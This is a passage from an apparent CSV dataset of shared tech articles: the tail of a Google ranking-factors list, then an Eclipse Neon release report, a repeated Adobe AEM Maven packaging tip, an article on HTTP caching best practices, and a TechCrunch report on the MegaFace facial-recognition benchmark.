Guidelines Document yet again: ""The page layout on highest quality pages makes the Main Content immediately visible"" 60. Parked Domains : A Google update in December of 2011 decreased search visibility of parked domains. 61. Useful Content: As pointed out by Backlinko reader Jared Carrizales , Google may distinguish between ""quality"" and ""useful"" content . Site-Level Factors 62. Content Provides Value and Unique Insights: Google has stated that they're on the hunt for sites that don't bring anything new or useful to the table, especially thin affiliate sites. 63. Contact Us Page: The aforementioned Google Quality Document states that they prefer sites with an ""appropriate amount of contact information"". Supposed bonus if your contact information matches your whois info. 64. Domain Trust/TrustRank: Site trust - measured by how many links away your site is from highly-trusted seed sites - is a massively important ranking factor. You can read more about TrustRank here . 65. Site Architecture: A well put-together site architecture (especially a silo structure) helps Google thematically organize your content. 66. Site Updates: How often a site is updated - and especially when new content is added to the site - is a site-wide freshness factor. 67. Number of Pages: The number of pages a site has is a weak sign of authority. At the very least a large site helps distinguish it from thin affiliate sites. 68. Presence of Sitemap: A sitemap helps search engines index your pages easier and more thoroughly, improving visibility. 69. Site Uptime : Lots of downtime from site maintenance or server issues may hurt your ranking (and can even result in deindexing if not corrected). 70. Server Location : Server location may influence where your site ranks in different geographical regions. Especially important for geo-specific searches. 71. SSL Certificate : Google has confirmed that they index SSL certificates and that they use HTTPS as a ranking signal. 72. Terms of Service and Privacy Pages : These two pages help tell Google that a site is a trustworthy member of the internet. 73. Duplicate Meta Information On-Site : Duplicate meta information across your site may bring down all of your page's visibility. 74. Breadcrumb Navigation: This is a style of user-friendly site-architecture that helps users (and search engines) know where they are on a site: Both SearchEngineJournal.com and Ethical SEO Consulting claim that this set-up may be a ranking factor. 75. Mobile Optimized: Google's official stance on mobile is to create a responsive site. It's likely that responsive sites get an edge in searches from a mobile device. In fact, they now add "" Mobile friendly"" tags to sites that display well on mobile devices. Google also started penalizing site s in Mobile search that aren't mobile friendly 76. YouTube: There's no doubt that YouTube videos are given preferential treatment in the SERPs (probably because Google owns it ): In fact, Search Engine Land found that YouTube.com traffic increased significantly after Google Panda . 77. Site Usability: A site that's difficult to use or to navigate can hurt ranking by reducing time on site, pages viewed and bounce rate. This may be an independent algorithmic factor gleaned from massive amounts of user data. 78. Use of Google Analytics and Google Webmaster Tools: Some think that having these two programs installed on your site can improve your page's indexing. They may also directly influence rank by giving Google more data to work with (ie. more accurate bounce rate, whether or not you get referral traffic from your backlinks etc.). 79. User reviews/Site reputation: A site's on review sites like Yelp.com and RipOffReport.com likely play an important role in the algorithm. Google even posted a rarely candid outline of their approach to user reviews after an eyeglass site was caught ripping off customers in an effort to get backlinks. Backlink Factors 80. Linking Domain Age: Backlinks from aged domains may be more powerful than new domains. 81. # of Linking Root Domains: The number of referring domains is one of the most important ranking factors in Google's algorithm, as you can see from this chart from Moz (bottom axis is SERP position): 82. # of Links from Separate C-Class IPs: Links from separate class-c IP addresses suggest a wider breadth of sites linking to you. 83. # of Linking Pages : The total number of linking pages - even if some are on the same domain - is a ranking factor. 84. Alt Tag (for Image Links) : Alt text is an image's version of anchor text. 85. Links from .edu or .gov Domains : Matt Cutts has stated that TLD doesn't factor into a site's importance. However, that doesn't stop SEOs from thinking that there's a special place in the algo for .gov and .edu TLDs. 86. Authority of Linking Page: The authority (PageRank) of the referring page is an extremely important ranking factor. 87. Authority of Linking Domain : The referring domain's authority may play an independent role in a link's importance (ie. a PR2 page link from a site with a homepage PR3 may be worth less than a PR2 page link from PR8 Yale.edu). 88. Links From Competitors: Links from other pages ranking in the same SERP may be more valuable for a page's rank for that particular keyword. 89. Social Shares of Referring Page : The amount of page-level social shares may influence the link's value. 90. Links from Bad Neighborhoods: Links from ""bad neighborhoods"" may hurt your site . 91. Guest Posts: Although guest posting can be part of a white hat SEO campaign , links coming from guest posts - especially in an author bio area - may not be as valuable as a contextual link on the same page. 92. Links to Homepage Domain that Page Sits On: Links to a referring page's homepage may play special importance in evaluating a site's - and therefore a link's - weight. 93. Nofollow Links: One of the most controversial topics in SEO. Google's official word on the matter is: ""In general, we don't follow them."" Which suggests that they do... at least in certain cases. Having a certain % of nofollow links may also indicate a natural vs. unnatural link profile. 94. Diversity of Link Types: Having an unnaturally large percentage of your links come from a single source (ie. forum profiles, blog comments) may be a sign of webspam. On the other hand, links from diverse sources is a sign of a natural link profile. 95. ""Sponsored Links"" Or Other Words Around Link: Words like ""sponsors"", ""link partners"" and ""sponsored links"" may decrease a link's value. 96. Contextual Links: Links embedded inside a page's content are considered more powerful than links on an empty page or found elsewhere on the page. A good example of contextual links are backlinks from guestographics . 97. Excessive 301 Redirects to Page: Links coming from 301 redirects dilute some (or even all) PR, according to a Webmaster Help Video . 98. Backlink Anchor Text : As noted in this description of Google's original algorithm: ""First, anchors often provide more accurate descriptions of web pages than the pages themselves."" Obviously, anchor text is less important than before (and likely a webspam signal). But it still sends a strong relevancy signal in small doses. 99. Internal Link Anchor Text : Internal link anchor text is another relevancy signal, although probably weighed differently than backlink anchor text. 100. Link Title Attribution : The link title (the text that appears when you hover over a link) is also used as a weak relevancy signals. 101. Country TLD of Referring Domain: Getting links from country-specific top level domain extensions (.de, .cn, .co.uk) may help you rank better in that country. 102. Link Location In Content: Links in the beginning of a piece of content carry slightly more weight than links placed at the end of the content. 103. Link Location on Page: Where a link appears on a page is important. Generally, links embedded in a page's content are more powerful than links in the footer or sidebar area. 104. Linking Domain Relevancy: A link from site in a similar niche is significantly more powerful than a link from a completely unrelated site. That's why any effective SEO strategy today focuses on obtaining relevant links. 105. Page Level Relevancy: The Hilltop Algorithm states that link from a page that's closely tied to page's content is more powerful than a link from an unrelated page. 106. Text Around Link Sentiment: Google has probably figured out whether or not a link to your site is a recommendation or part of a negative review. Links with positive sentiments around them likely carry more weight. 107. Keyword in Title: Google gives extra love to links on pages that contain your page's keyword in the title (""Experts linking to experts"".) 108. Positive Link Velocity: A site with positive link velocity usually gets a SERP boost. 109. Negative Link Velocity: Negative link velocity can significantly reduce rankings as it's a signal of decreasing popularity. 110. Links from ""Hub"" Pages: Aaron Wall claims that getting links from pages that are considered top resources (or hubs) on a certain topic are given special treatment. 111. Link from Authority Sites: A link from a site considered an ""authority site"" likely pass more juice than a link from a small, microniche site. 112. Linked to as Wikipedia Source: Although the links are nofollow, many think that getting a link from Wikipedia gives you a little added trust and authority in the eyes of search engines. 113. Co-Occurrences: The words that tend to appear around your backlinks helps tell Google what that page is about . 114. Backlink Age: According to a Google patent , older links have more ranking power than newly minted backlinks. 115. Links from Real Sites vs. Splogs: Due to the proliferation of blog networks, Google probably gives more weight to links coming from ""real sites"" than from fake blogs. They likely use brand and user-interaction signals to distinguish between the two. 116. Natural Link Profile: A site with a ""natural"" link profile is going to rank highly and be more durable to updates. 117. Reciprocal Links: Google's Link Schemes page lists ""Excessive link exchanging"" as a link scheme to avoid. 118. User Generated Content Links: Google is able to identify links generated from UGC vs. the actual site owner. For example, they know that a link from the official WordPress.com blog at en.blog.wordpress.com is very different than a link from besttoasterreviews.wordpress.com. 119. Links from 301: Links from 301 redirects may lose a little bit of juice compared to a direct link. However, Matt Cutts says that a 301 is similar to a direct link. 120. Schema.org Microformats: Pages that support microformats may rank above pages without it. This may be a direct boost or the fact that pages with microformatting have a higher SERP CTR: 121. DMOZ Listed : Many believe that Google gives DMOZ listed sites a little extra trust. 122. TrustRank of Linking Site: The trustworthiness of the site linking to you determines how much ""TrustRank"" gets passed onto you. 123. Number of Outbound Links on Page: PageRank is finite. A link on a page with hundreds of OBLs passes less PR than a page with only a few OBLs. 124. Forum Profile Links: Because of industrial-level spamming, Google may significantly devalue links from forum profiles. 125. Word Count of Linking Content: A link from a 1000-word post is more valuable than a link inside of a 25-word snippet. 126. Quality of Linking Content: Links from poorly written or spun content don't pass as much value as links from well-written, multimedia-enhanced content. 127. Sitewide Links: Matt Cutts has confirmed that sitewide links are ""compressed"" to count as a single link. User Interaction 128. Organic Click Through Rate for a Keyword : Pages that get clicked more in CTR may get a SERP boost for that particular keyword. 129. Organic CTR for All Keywords : A page's (or site's) organic CTR for all keywords is ranks for may be a human-based, user interaction signal. 130. Bounce Rate: Not everyone in SEO agrees bounce rate matters, but it may be a way of Google to use their users as quality testers (pages where people quickly bounce is probably not very good). 131. Direct Traffic: It's confirmed that Google uses data from Google Chrome to determine whether or not people visit a site (and how often). Sites with lots of direct traffic are likely higher quality than sites that get very little direct traffic. 132. Repeat Traffic : They may also look at whether or not users go back to a page or site after visiting. Sites with repeat visitors may get a Google ranking boost. 133. Blocked Sites : Google has discontinued this feature in Chrome. However, Panda used this feature as a quality signal. 134. Chrome Bookmarks: We know that Google collects Chrome browser usage data . Pages that get bookmarked in Chrome might get a boost. 135. Google Toolbar Data: Search Engine Watch's Danny Goodwin reports that Google uses toolbar data as a ranking signal. However, besides page loading speed and malware, it's not known what kind of data they glean from the toolbar. 136. Number of Comments: Pages with lots of comments may be a signal of user-interaction and quality. 137. Dwell Time: Google pays very close attention to ""dwell time"": how long people spend on your page when coming from a Google search. This is also sometimes referred to as ""long clicks vs short clicks"". If people spend a lot of time on your site, that may be used as a quality signal. Special Algorithm Rules 138. Query Deserves Freshness: Google gives newer pages a boost for certain searches . 139. Query Deserves Diversity: Google may add diversity to a SERP for ambiguous keywords, such as ""Ted"", ""WWF"" or ""ruby"". 140. User Browsing History : Sites that you frequently visit while signed into Google get a SERP bump for your searches. 141. User Search History: Search chain influence search results for later searches . For example, if you search for ""reviews"" then search for ""toasters"", Google is more likely to show toaster review sites higher in the SERPs. 142. Geo Targeting: Google gives preference to sites with a local server IP and country-specific domain name extension. 143. Safe Search: Search results with curse words or adult content won't appear for people with Safe Search turned on. 144. Google+ Circles: Google shows higher results for authors and sites that you've added to your Google Plus Circles 145. DMCA Complaints: Google ""downranks"" pages with DMCA complaints . 146. Domain Diversity : The so-called "" Bigfoot Update "" supposedly added more domains to each SERP page. 147. Transactional Searches : Google sometimes displays different results for shopping-related keywords, like flight searches. 148. Local Searches: Google often places Google+ Local results above the ""normal"" organic SERPs. 149. Google News Box: Certain keywords trigger a Google News box: 150. Big Brand Preference: After the Vince Update , Google began giving big brands a boost for certain short-tail searches. 151. Shopping Results: Google sometimes displays Google Shopping results in organic SERPs: 152. Image Results: Google elbows our organic listings for image results for searches commonly used on Google Image Search. 153. Easter Egg Results: Google has a dozen or so Easter Egg results . For example, when you search for ""Atari Breakout"" in Google image search, the search results turn into a playable game (!). Shout out to Victor Pan for this one. 154. Single Site Results for Brands: Domain or brand-oriented keywords bring up several results from the same site . Social Signals 155. Number of Tweets: Like links, the tweets a page has may influence its rank in Google. 156. Authority of Twitter Users Accounts : It's likely that Tweets coming from aged, authority Twitter profiles with a ton of followers (like Justin Bieber) have more of an effect than tweets from new, low-influence accounts. 157. Number of Facebook Likes : Although Google can't see most Facebook accounts , it's likely they consider the number of Facebook likes a page receives as a weak ranking signal. 158. Facebook Shares: Facebook shares - because they're more similar to a backlink - may have a stronger influence than Facebook likes . 159. Authority of Facebook User Accounts: As with Twitter, Facebook shares and likes coming from popular Facebook pages may pass more weight. 160. Pinterest Pins: Pinterest is an insanely popular social media account with lots of public data. It's probably that Google considers Pinterest Pins a social signal. 161. Votes on Social Sharing Sites: It's possible that Google uses shares at sites like Reddit, Stumbleupon and Digg as another type of social signal. 162. Number of Google+1's: Although Matt Cutts gone on the record as saying Google+ has "" no direct effect "" on rankings, it's hard to believe that they'd ignore their own social network. 163. Authority of Google+ User Accounts: It's logical that Google would weigh +1's coming from authoritative accounts more than from accounts without many followers. 164. Known Authorship : In February 2013, Google CEO Eric Schmidt famously claimed: ""Within search results, information tied to verified online profiles will be ranked higher than content without such verification, which will result in most users naturally clicking on the top (verified) results."" Although the Google+ authorship program has been shut down , it's likely Google uses some form of authorship to determine influential content producers online (and give them a boost in rankings). 165. Social Signal Relevancy: Google probably uses relevancy information from the account sharing the content and the text surrounding the link. 166. Site Level Social Signals: Site-wide social signals may increase a site's overall authority, which will increase search visibility for all of its pages. Brand Signals 167. Brand Name Anchor Text: Branded anchor text is a simple - but strong - brand signal. 168. Branded Searches: It's simple: people search for brands. If people search for your site in Google (ie. ""Backlinko twitter"", Backlinko + ""ranking factors""), Google likely takes this into consideration when determining a brand. 169. Site Has Facebook Page and Likes: Brands tend to have Facebook pages with lots of likes. 170. Site has Twitter Profile with Followers: Twitter profiles with a lot of followers signals a popular brand. 171. Official Linkedin Company Page: Most real businesses have company Linkedin pages. 172. Employees Listed at Linkedin: Rand Fishkin thinks that having Linkedin profiles that say they work for your company is a brand signal. 173. Legitimacy of Social Media Accounts: A social media account with 10,000 followers and 2 posts is probably interpreted a lot differently than another 10,000-follower strong account with lots of interaction. 174. Brand Mentions on News Sites : Really big brands get mentioned on Google News sites all the time. In fact, some brands even have their own Google News feed on the first page: 175. Co-Citations : Brands get mentioned without getting linked to. Google likely looks at non-hyperlinked brand mentions as a brand signal. 176. Number of RSS Subscribers: Considering that Google owns the popular Feedburner RSS service , it makes sense that they would look at RSS Subscriber data as a popularity/brand signal. 177. Brick and Mortar Location With Google+ Local Listing: Real businesses have offices. It's possible that Google fishes for location-data to determine whether or not a site is a big brand. 178. Website is Tax Paying Business: Moz reports that Google may look at whether or not a site is associated with a tax-paying business. On-Site WebSpam Factors 179. Panda Penalty : Sites with low-quality content (particularly content farms ) are less visible in search after getting hit by a Panda penalty . 180. Links to Bad Neighborhoods: Linking out to ""bad neighborhoods"" - like pharmacy or payday loan sites - may hurt your search visibility. 181. Redirects: Sneaky redirects is a big no-no . If caught, it can get a site not just penalized, but de-indexed. 182. Popups or Distracting Ads: The official Google Rater Guidelines Document says that popups and distracting ads is a sign of a low-quality site. 183. Site Over-Optimization: Includes on-page factors like keyword stuffing, header tag stuffing, excessive keyword decoration. 184. Page Over-Optimization: Many people report that - unlike Panda - Penguin targets individual page (and even then just for certain keywords). 185. Ads Above the Fold : The "" Page Layout Algorithm "" penalizes sites with lots of ads (and not much content) above the fold. 186. Hiding Affiliate Links: Going too far when trying to hide affiliate links (especially with cloaking) can bring on a penalty. 187. Affiliate Sites: It's no secret that Google isn't the biggest fan of affiliates . And many think that sites that monetize with affiliate links are put under extra scrutiny. 188. Autogenerated Content: Google isn't a big fan of autogenerated content. If they suspect that your site's pumping out computer-generated content, it could result in a penalty or de-indexing. 189. Excess PageRank Sculpting: Going too far with PageRank sculpting - by nofollowing all outbound links or most internal links - may be a sign of gaming the system. 190. IP Address Flagged as Spam: If your server's IP address is flagged for spam, it may hurt all of the sites on that server . 191. Meta Tag Spamming: Keyword stuffing can also happen in meta tags. If Google thinks you're adding keywords to your meta tags to game the algo, they may hit your site with a penalty. Off Page Webspam Factors 192. Unnatural Influx of Links : A sudden (and unnatural) influx of links is a sure-fire sign of phony links. 193. Penguin Penalty: Sites that were hit by Google Penguin are significantly less visible in search. 194. Link Profile with High % of Low Quality Links: Lots of links from sources commonly used by black hat SEOs (like blog comments and forum profiles) may be a sign of gaming the system. 195. Linking Domain Relevancy: The famous analysis by MicroSiteMasters.com found that sites with an unnaturally high amount of links from unrelated sites were more susceptible to Penguin. 196. Unnatural Links Warning: Google sent out thousands of ""Google Webmaster Tools notice of detected unnatural links"" messages. This usually precedes a ranking drop, although not 100% of the time . 197. Links from the Same Class C IP : Getting an unnatural amount of links from sites on the same server IP may be a sign of blog network link building. 198. ""Poison"" Anchor Text: Having ""poison"" anchor text (especially pharmacy keywords) pointed to your site may be a sign of spam or a hacked site. Either way, it can hurt your site's ranking. 199. Manual Penalty: Google has been known to hand out manual penalties, like in the well-publicized Interflora fiasco . 200. Selling Links: Selling links can definitely impact toolbar PageRank and may hurt your search visibility. 201. Google Sandbox: New sites that get a sudden influx of links are sometimes put in the Google Sandbox , which temporarily limits search visibility. 202. Google Dance: The Google Dance can temporarily shake up rankings. According to a Google Patent , this may be a way for them to determine whether or not a site is trying to game the algorithm. 203. Disavow Tool: Use of the Disavow Tool may remove a manual or algorithmic penalty for sites that were the victims of negative SEO. 204. Reconsideration Request : A successful reconsideration request can lift a penalty. 205. Temporary Link Schemes: Google has (apparently) caught onto people that create - and quickly remove - spammy links. Also know as a temporary link scheme . ""How Can I Use This Information For My Site?"" I created a free step-by-step checklist that you can use to quickly apply the most important information from this post to your site. The checklist contains the 10 most important ranking factors on this list... ...and super-actionable strategies that you can use to get higher rankings and more traffic. Click below to download the free checklist:",en
1466731387,CONTENT SHARED,1379546145237381445,2062670502532932588,-6060396183220286898,,,,HTML,https://www.infoq.com/news/2016/06/eclipse-neon,Eclipse Foundation Releases Neon,"Today, the Eclipse Foundation announced the release of Eclipse Neon, the eponymous IDE which provides support for Java, JavaScript, C/C++, PHP and Fortran, amongst others. This release marks the eleventh release of the combined release train, with contributions from 779 developers (of which 331 are committers) and totalling 69 million lines of code. This release is the first to encourage users to use the Eclipse Installer, a new technology powered by Eclipse Oomph , which allows a small installer to be provided that can download and provision additional tools. This reduces the load on the Eclipse servers, which instead of having to host a single large zip can provide a subset of plug-ins that can be downloaded only if needed. The standard packages - such as the Java developers package and the CDT C/C++ developers package - are now available as optional installations from the installer. This allows a custom IDE to be created with a combination of the standard developer tools. A long-awaited feature (over thirteen years ), word wrapping in editors, is now finally available. By default this is switched off but can be enabled in the preferences or with the Alt+Shift+Y keypress. It is now also possible to increase the size of a text editor's font with Ctrl++ and Ctrl+-, along with pinch-to-zoom on supported trackpads. Other general platform features include the IDE now supports high-DPI monitors and has a number of icons created at a higher resolution. Improvements have also been made to the GTK3 support for menus and auto-scaled icons for high-DPI resolutions. Full screen support has been added to Windows and Linux, following from OSX's full screen support. The Java IDE has been upgraded in this release with a number of new features , such as: Null annotation detection has been expanded, allowing both the standard Eclipse @NonNull annotation as well as others (such as FindBugs and CheckerFramework) to be used for annotating null or not-null methods. Null annotated methods in generics now provides more specific recommendations, and will pick up generic method types that have the @NonNull or @Nullable can now be inferred through generic types. Quick fixes for adding nullable annotations are now prompted, though missing entries can be changed based on preferences. JUnit test runs now pass the -ea (enable assertions), to try and detect when assert failures occur as well as the JUnit assertions. This can be disabled in the launch configuration if not required. Content assist in JDT has been improved, allowing searching by substring and displaying partial matches. The terminate and launch feature allows re-running programs quickly, by automatically killing a previous running launch before starting it again. The standard packages now include Maven and Gradle build support out of the box. Java 9 support is not available (since Java 9 has not been finalized yet) but betas are available from the Eclipse marketplace. Running Eclipse on a Java 9 platform requires the use of -addmods java.se.ee on the JVM command line, due to dependencies on annotations such as javax.annotation.PostConstruct that is not present in the default java.se module. The C/C++ developer tools 9.0 have had a number of changes: A Create new Class quick-fix is now available when referring to a C++ class that does not exist (for example, a reference to a local variable of that type). This mirrors a similar quick fix available in JDT previously. Code completion now suggests local expressions of the same type for the required parameter in the same scope. Code analysis warnings can be suppressed through the use of a specially formatted single line comment. The OS Resource View now shows local processes, and can be used to connect remote debuggers by right-clicking on a process and performing a connect . The connect button is now no longer shown in the toolbar, but can be invoked from the pop-up menu or through a keystroke. The PHP tools 4.0 have increased support for PHP 7 by default, with a new set of breakpoints available for exceptions, editor advancements that provide annotated views when classes or methods are deprecated, improved code assist, skipping warnings inside comments, and more . The JavaScript tools have been significantly improved support for ES6 (EcmaScript 2015), a built-in JSON editor, and the ability to run debuggers with Node and NPM support. The Eclipse LinuxTools include new support for Asciidoc editors and Docker file creation. It is now possible to see a list of docker images running locally, and fire up a shell connected to that image from within Eclipse. Docker containers can be run as ordinary or privileged containers or pulled from remote image repository. The Eclipse Neon release includes for the first time the Andmore project , which is the continuation of the Android Developer Tools based on Eclipse. Using this, in conjunction with an Android NDK, allows Android applications to be built on Eclipse. A full list of the new and noteworthy features for the Eclipse Neon release is available from the new and noteworthy page . Eclipse Neon can be downloaded from the Eclipse downloads page , using the Eclipse Installer or one of the pre-defined packages.",en
1466735249,CONTENT SHARED,-7568926158048616650,-9120685872592674274,4857980967642411900,,,,HTML,http://www.wemblog.com/2014/01/how-to-include-cq-package-from-other.html,Adobe CQ/Adobe AEM,"Use Case: We often come across situation where we want to include package or jar files from other CQ project across organization to your project. Set Up: This assumes that you already have your project set up using Maven, Nexus. You need Nexus or any other repository management system to store artifact of jar or CQ package zip artifact you need to use in your project. Assumption: You are using ""content-package-maven-plugin"" to create CQ package. More information about this artifact can be found here Solution: For jar file it is simply adding it to your embed statement and for zip file you could use subPackages configuration. Once you will run maven install with this configuration, Other project package will also get installed with your package. Same works for uninstall of package as well. Geometrixx all package uses similar approach. your final pom will look like this, NOTE : When you are using other CQ projects as dependency in to your project, make sure that other project is not overriding configurations in your project. You might have to adjust other project package filter accordingly.",en
1466735934,CONTENT REMOVED,-7568926158048616650,-9120685872592674274,4857980967642411900,,,,HTML,http://www.wemblog.com/2014/01/how-to-include-cq-package-from-other.html,Adobe CQ/Adobe AEM,"Use Case: We often come across situation where we want to include package or jar files from other CQ project across organization to your project. Set Up: This assumes that you already have your project set up using Maven, Nexus. You need Nexus or any other repository management system to store artifact of jar or CQ package zip artifact you need to use in your project. Assumption: You are using ""content-package-maven-plugin"" to create CQ package. More information about this artifact can be found here Solution: For jar file it is simply adding it to your embed statement and for zip file you could use subPackages configuration. Once you will run maven install with this configuration, Other project package will also get installed with your package. Same works for uninstall of package as well. Geometrixx all package uses similar approach. your final pom will look like this, NOTE : When you are using other CQ projects as dependency in to your project, make sure that other project is not overriding configurations in your project. You might have to adjust other project package filter accordingly.",en
1466735979,CONTENT SHARED,-8632408281960398473,-9120685872592674274,4857980967642411900,,,,HTML,http://www.wemblog.com/2014/01/how-to-include-cq-package-from-other.html,Adobe CQ/Adobe AEM,"Use Case: We often come across situation where we want to include package or jar files from other CQ project across organization to your project. Set Up: This assumes that you already have your project set up using Maven, Nexus. You need Nexus or any other repository management system to store artifact of jar or CQ package zip artifact you need to use in your project. Assumption: You are using ""content-package-maven-plugin"" to create CQ package. More information about this artifact can be found here Solution: For jar file it is simply adding it to your embed statement and for zip file you could use subPackages configuration. Once you will run maven install with this configuration, Other project package will also get installed with your package. Same works for uninstall of package as well. Geometrixx all package uses similar approach. your final pom will look like this, NOTE : When you are using other CQ projects as dependency in to your project, make sure that other project is not overriding configurations in your project. You might have to adjust other project package filter accordingly.",en
1466782688,CONTENT SHARED,984451487666392184,-8020832670974472349,-1770740934616955244,,,,HTML,https://jakearchibald.com/2016/caching-best-practices/,Caching best practices & max-age gotchas,"Getting caching right yields huge performance benefits, saves bandwidth, and reduces server costs, but many sites half-arse their caching, creating race conditions resulting in interdependent resources getting out of sync. The vast majority of best-practice caching falls into one of two patterns: Pattern 1: Immutable content + long max-age The content at this URL never changes, therefore... The browser/CDN can cache this resource for a year without a problem Cached content younger than max-age seconds can be used without consulting the server The next day Later In this pattern, you never change content at a particular URL, you change the URL: Each URL contains something that changes along with its content. It could be a version number, the modified date, or a hash of the content - which is what I do on this blog. Most server-side frameworks come with tools to make this easy (I use Django's ManifestStaticFilesStorage ), and there are smaller Node.js libraries that achieve the same thing, such as gulp-rev . However, this pattern doesn't work for things like articles & blog posts. Their URLs cannot be versioned and their content must be able to change. Seriously, given the basic spelling and grammar mistakes I make, I need to be able to update content quickly and frequently. The content at this URL may change, therefore... Any locally cached version isn't trusted without the server's say-so The next day ...but ""/about/"" has, here's the new version. Cache: like before, you can hold onto this, but don't use it without asking. 09:47 Note: no-cache doesn't mean ""don't cache"", it means it must check (or ""revalidate"" as it calls it) with the server before using the cached resource. no-store tells the browser not to cache it at all. Also must-revalidate doesn't mean ""must revalidate"", it means the local resource can be used if it's younger than the provided max-age , otherwise it must revalidate. Yeah. I know. In this pattern you can add an ETag (a version ID of your choosing) or Last-Modified date header to the response. Next time the client fetches the resource, it echoes the value for the content it already has via If-None-Match and If-Modified-Since respectively, allowing the server to say ""Just use what you've already got, it's up to date"", or as it spells it, ""HTTP 304"". If sending ETag / Last-Modified isn't possible, the server always sends the full content. This pattern always involves a network fetch, so it isn't as good as pattern 1 which can bypass the network entirely. It's not uncommon to be put off by the infrastructure needed for pattern 1, but be similarly put off by the network request pattern 2 requires, and instead go for something in the middle: a smallish max-age and mutable content. This is a baaaad compromise. max-age on mutable content is often the wrong choice ...and unfortunately it isn't uncommon, for instance it happens on Github pages. Imagine: ...all served with: Content at the URLs changes If the browser has a cached version less than 10 minutes old, use it without consulting the server Otherwise make a network fetch, using If-Modified-Since or If-None-Match if available 6 minutes later This pattern can appear to work in testing, but break stuff in the real world, and it's really difficult to track down. In the example above, the server actually had updated HTML, CSS & JS, but the page ended up with the old HTML & JS from the cache, and the updated CSS from the server. The version mismatch broke things. Often, when we make significant changes to HTML, we're likely to also change the CSS to reflect the new structure, and update the JS to cater for changes to the style and content. These resources are interdependent, but the caching headers can't express that. Users may end up with the new version of one/two of the resources, but the old version of the other(s). max-age is relative to the response time, so if all the above resources are requested as part of the same navigation they'll be set to expire at roughly the same time, but there's still the small possibility of a race there. If you have some pages that don't include the JS, or include different CSS, your expiry dates can get out of sync. And worse, the browser drops things from the cache all the time, and it doesn't know that the HTML, CSS, & JS are interdependent, so it'll happily drop one but not the others. Multiply all this together and it becomes not-unlikely that you can end up with mismatched versions of these resources. For the user, this can result in broken layout and/or functionality. From subtle glitches, to entirely unusable content. Thankfully, there's an escape hatch for the user... A refresh sometimes fixes it If the page is loaded as part of a refresh, browsers will always revalidate with the server, ignoring max-age . So if the user is experiencing something broken because of max-age , hitting refresh should fix everything. Of course, forcing the user to do this reduces trust, as it gives the perception that your site is temperamental. A service worker can extend the life of these bugs Say you have the following service worker: This service worker... Caches the script and styles up front Serves from the cache if there's a match, otherwise goes to the network If we change our CSS/JS we bump the version to make the service worker byte-different, which triggers an update. However, since addAll fetches through the HTTP cache (like almost all fetches do), we could run into the max-age race condition and cache incompatible versions of the CSS & JS. Once they're cached, that's it, we'll be serving incompatible CSS & JS until we next update the service worker - and that's assuming we don't run into another race condition in the next update. You could bypass the cache in the service worker: Unfortunately the cache options aren't yet supported in Chrome/Opera and only recently landed in Firefox Nightly , but you can sort-of do it yourself: In the above I'm cache-busting with a random number, but you could go one step further and use a build-step to add a hash of the content (similar to what sw-precache does). This is kinda reimplementing pattern 1 in JavaScript, but only for the benefit of service worker users rather than all browsers & your CDN. The service worker & the HTTP cache play well together, don't make them fight! As you can see, you can hack around poor caching in your service worker, but you're way better off fixing the root of the problem. Getting your caching right makes things easier in service worker land, but also benefits browsers that don't support service worker (Safari, IE/Edge), and lets you get the most out of your CDN. Correct caching headers means you can massively streamline service worker updates too: Here I'd cache the root page using pattern 2 (server revalidation), and the rest of the resources using pattern 1 (immutable content). Each service worker update will trigger a request for the root page, but the rest of the resources will only be downloaded if their URL has changed. This is great because it saves bandwidth and improves performance whether you're updating from the previous version, or 10 versions ago. This is a huge advantage over native, where the whole binary is downloaded even for a minor change, or involves complex binary diffing. Here we can update a large web app with relatively little download. Service workers work best as an enhancement rather than a workaround, so instead of fighting the cache, work with it! Used carefully, max-age & mutable content can be beneficial max-age on mutable content is often the wrong choice, but not always. For instance this page has a max-age of three minutes. Race conditions aren't an issue here because this page doesn't have any dependencies that follow the same caching pattern (my CSS, JS & image URLs follow pattern 1 - immutable content), and nothing dependent on this page follows the same pattern. This pattern means, if I'm lucky enough to write a popular article, my CDN (Cloudflare) can take the heat off my server, as long as I can live with it taking up to three minutes for article updates to be seen by users, which I am. This pattern shouldn't be used lightly. If I added a new section to one article and linked to it in another article, I've created a dependency that could race. The user could click the link and be taken to a copy of the article without the referenced section. If I wanted to avoid this, I'd update the first article, flush Cloudflare's cached copy using their UI, wait three minutes, then add the link to it in the other article. Yeah... you have to be pretty careful with this pattern. Used correctly, caching is a massive performance enhancement and bandwidth saver. Favour immutable content for any URL that can easily change, otherwise play it safe with server revalidation. Only mix max-age and mutable content if you're feeling brave, and you're sure your content has no dependancies or dependents that could get out of sync.",en
1466783159,CONTENT SHARED,-1055630159212837930,-1032019229384696495,4271671733869957247,,,,HTML,https://techcrunch.com/2016/06/23/facial-recognition-systems-stumble-when-confronted-with-million-face-database/,Facial recognition systems stumble when confronted with million-face database,"We're all a bit worried about the terrifying surveillance state that becomes possible when you cross omnipresent cameras with reliable facial recognition - but a new study suggests that some of the best algorithms are far from infallible when it comes to sorting through a million or more faces. The University of Washington's Megaface Challenge is an open competition among public facial recognition algorithms that's been running since late last year. The idea is to see how systems that outperform humans on sets of thousands of images do when the database size is increased by an order of magnitude or two. See, while many of the systems out there learn to find faces by perusing millions or even hundreds of millions of photos, the actual testing has often been done on sets like the Labeled Faces in the Wild one, with 13,000 images ideal for this kind of thing. But real world circumstances are likely to differ. ""We're the first to suggest that face recs algorithms should be tested at 'planet-scale,'"" wrote the study's lead author, Ira Kemelmacher-Shlizerman , in an email to TechCrunch. ""I think that many will agree it's important. The big problem is to create a public dataset and benchmark (where people can compete on the same data). Creating a benchmark is typically a lot of work but a big boost to a research area."" The researchers started with existing labeled image sets of people - one set consisting of celebrities from various angles, another of individuals with widely varying ages. They added noise to this signal in the form of ""distractors,"" faces scraped from Creative Commons licensed photos on Flickr. They ran the test with as few as 10 distractors or as many as a million - essentially, the number of needles stayed the same but they piled on the hay. The results show a few surprisingly tenacious algorithms: the clear victor for the age-varied set is Google's FaceNet , while it and Russia's N-TechLab are neck and neck in the celebrity database. ( SIAT MMLab , from Shenzhen, China, gets honorable mention.) Conspicuously absent is Facebook's DeepFace, which in all likelihood would be a serious contender. But as participation is voluntary and Facebook hasn't released its system publicly, its performance on MegaFace remains a mystery. Both leaders showed a steady decline as more distractors were added, although efficacy doesn't fall off quite as fast as the logarithmic scale on the graphs makes it look. The ultra-high accuracy rate touted by Google in its FaceNet paper doesn't survive past 10,000 distractors, and by the time there are a million, despite a hefty lead, it's not accurate enough to serve much of a purpose. Still, getting three out of four right with a million distractors is impressive - but that success rate wouldn't hold water in court or as a security product. It seems we still have a ways to go before that surveillance state becomes a reality - that one in particular, anyway. The researchers' work will be presented a week from today at the 